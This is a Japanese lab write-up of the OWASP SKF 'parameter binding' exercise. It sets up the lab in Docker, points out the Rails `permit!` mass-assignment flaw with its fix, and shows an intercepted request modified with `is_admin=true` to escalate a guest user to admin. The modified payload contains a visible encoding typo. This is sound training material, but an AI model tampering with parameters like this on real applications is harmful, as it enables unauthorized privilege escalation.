KBID 147 - Parameter bindingをやってみた。


Owaspのやられサイトで勉強してみた。
KBID 147 - Parameter binding

やられサイトの構築

Dockerイメージをダウンロードする.

$ sudo docker pull blabla1337/owasp-skf-lab:parameter-bindin

ダウンロードしたイメージからコンテナを起動する。

$ sudo docker run -ti -p 127.0.0.1:3000:3000 blabla1337/owasp-skf-lab:parameter-binding

docker psコマンドでコンテナが起動しているか確かめる。

$ sudo docker ps                                                                                                                                                                                          
CONTAINER ID   IMAGE                                        COMMAND                  CREATED              STATUS              PORTS                                NAMES
886ea332a5d7   blabla1337/owasp-skf-lab:parameter-binding   "bundle exec rails s…"   About a minute ago   Up About a minute   127.0.0.1:3000->3000/tcp, 5000/tcp   nice_khayyam

起動させてコンテナにbashで入る。

$ sudo docker exec -i -t 886ea332a5d7 bash

コンテナ内でシェルで自身のIPアドレスを調べる。

root@886ea332a5d7:/skf-labs/parameter-binding# hostname -I
172.17.0.2

ブラウザでWebアプリにアクセスできました。

Reconnaissance

Mass assignmentの脆弱性とは、WebアプリのActive Recordパターンが悪用されるバグです。ユーザーが本来アクセスできないデータを変更される危険性がある。

pages_controller.rbを調べてみる。データベースにクエリを書き込むために ORMフレームワークが利用されている。

pages_controller.rb
class PagesController < ApplicationController
    def home
        @user = User.all
      end

      def show
        @user = User.find(params[:id])
      end

      def edit
        @user = User.find(params[:id])
      end

      def update
        @user = User.find(params[:id])
        @user.update(user_params)
        redirect_to root_path
      end

      private
      def user_params
        params.require(:user).permit!
      end
end

この行でparameter binding攻撃できることが分かる。

pages_controller.rb
params.require(:user).permit!

userモデルを調べる。

20190517121136_create_users.rb
class CreateUsers < ActiveRecord::Migration[5.2]
  def change
    create_table :users do |t|
      t.string :username
      t.string :title
      t.boolean :is_admin
      t.timestamps
    end
  end

Webアプリを調べていく。アクティブユーザー情報のテーブルを見つける。

権限なしでUpdate Userできるようです。

権限割り当て緩すぎると、外部からフィールドを上書きされてしまう可能性がある。

pages_controller.rbを調べる。

pages_controller.rb
def update
    @user = User.find(params[:id])
    @user.update(user_params)
    redirect_to root_path
end

private
def user_params
    params.require(:user).permit!
end

paramsはRailsにて「送られてきた値を受け取るためのメソッド」です。

requireメソッドでPOSTで受け取る値のキー設定、
permitメソッドで許可して受け取る値を制限しています。

permitに値が指定されていません。本当は、以下のように値が設定されているべきです。

pages_controller.rb
params.require(:user).permit(:username, :title)

Exploitation

POST /pages/1リクエストをInterceptします。

POST /pages/1 HTTP/1.1
Host: 172.17.0.2:5000
Content-Length: 238
Accept: text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01
X-CSRF-Token: ppML8Skv5kqvBI1q4otdaHh9WmlQAVN5nlG+Y8fXYprm9sTxyiMRilkoLA0Hnd5elcUHLrrv1CTqLs7iOwl9Hg==
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.17.0.2:5000
Referer: http://172.17.0.2:5000/pages/1/edit
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _parameter_binding_session=WE%2Bmw2hKP5X63om1LWUUSODMCW8eEyKhau1pJ2%2BAkg%2BLVoB3GebJwkjxe1VVpwtrgVOb%2FB1kbhf51WU8tnM6CgpbgDdRA%2FuaKzPf9nE1v3TfBTOS6t6oCnvg9suT7yBScXcFJ%2BDbfI4lflbs3jk%3D--lSOT%2FWgDJeLvlBk4--u93aMVswfbNy2eV5IbWZWA%3D%3D
Connection: close

utf8=%E2%9C%93&_method=patch&authenticity_token=1bz6vyzE8PCcvABpDELo5RdEBADuhb1gGyKLYINg3pQyOPTrbuAQmekivgsITZLvrVAvxOxFNvsv3N4%2F%2BTxEqQ%3D%3D&_method=patch&user%5Busername%5D=Guest&user%5Btitle%5D=a%20normal%20user&commit=Update%20User

is_admin%5D=trueをパラメータに追加します。

utf8=%E2%9C%93&_method=patch&authenticity_token=1bz6vyzE8PCcvABpDELo5RdEBADuhb1gGyKLYINg3pQyOPTrbuAQmekivgsITZLvrVAvxOxFNvsv3N4%2F%2BTxEqQ%3D%3D&_method=patch&user%5Busername%5D=Guest&user%5Btitle%5D=a%20normal%20user%user5Bis_admin%5D=true&commit=Update%20User

GuestのPrivilegedがTrueに変更できた。